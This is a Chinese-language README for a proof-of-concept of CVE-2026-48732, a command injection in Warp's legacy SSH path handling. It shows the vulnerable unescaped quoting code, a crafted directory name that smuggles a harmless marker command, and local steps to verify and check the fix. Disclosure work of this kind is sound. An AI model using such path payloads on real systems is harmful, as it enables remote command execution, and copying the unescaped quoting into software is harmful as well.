这个仓库是 Warp 传统 SSH 后台命令处理中存在的高严重性 OS 命令注入漏洞 CVE-2026-48732 的概念验证 (PoC)。
受影响的 Warp 版本中,使用 SSH 会话报告的远程工作目录 (cwd) 来构建辅助命令。由于该路径中包含的单引号未被转义,攻击者控制的远程主机、仓库或目录名可能突破被引号包围的 cd 参数,在受害者已认证的 SSH 账户权限下,在远程主机上额外执行 shell 语法。
发现者: saku0512 (GitHub)
本项目仅用于教育目的和道德安全测试。
作者对任何误用、损害或违法行为不承担任何责任。未经授权访问计算机系统是违法的。使用本软件即表示您同意仅在明确允许安全测试的环境中使用。
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)>= v0.2023.03.21.08.02.stable_00v0.2026.05.06.15.42.stable_01 及以上存在漏洞的传统 SSH 后台命令处理在将远程工作目录用单引号包裹时,未对路径中的单引号字符进行转义。
command_str.push_str(&format!("cd '{current_directory_path}' && "));
例如,如果 current_directory_path 包含以下值:
/tmp/warp-cve-2026-48732'; touch /tmp/warp_cve_2026_48732_confirmed; echo '
生成的 shell 命令如下:
cd '/tmp/warp-cve-2026-48732'; touch /tmp/warp_cve_2026_48732_confirmed; echo '' && pwd
结果,插入的 touch 命令被 shell 解释为独立的命令。
修复在将路径放入单引号包裹的 shell 上下文之前,对嵌入的单引号进行转义。
确保已安装 Python 3。此 PoC 在本地模拟有漏洞的命令构建,不连接 Warp 或 SSH。
python3 --version
运行附带的脚本。
python3 poc.py
预期输出将包含生成的有漏洞的命令以及表明标记文件已创建的成功消息。
[!] SUCCESS: /tmp/warp_cve_2026_48732_confirmed was created.
检查标记文件,验证命令是否成功执行。
ls -l /tmp/warp_cve_2026_48732_confirmed
如果文件存在,则表示在本地模拟中确认了命令注入的行为。
验证后,请删除标记文件。
rm -f /tmp/warp_cve_2026_48732_confirmed
运行修复后的命令构建器。
python3 poc.py --mode fixed
在修复后的模拟中,嵌入的单引号会被转义,因此不应创建标记文件。
请尽快将 Warp 更新至已修复版本。
此修复在构建传统 SSH 辅助命令之前,对远程路径中嵌入的单引号进行转义。从而防止攻击者控制的路径文本突破引号包围的 shell 参数。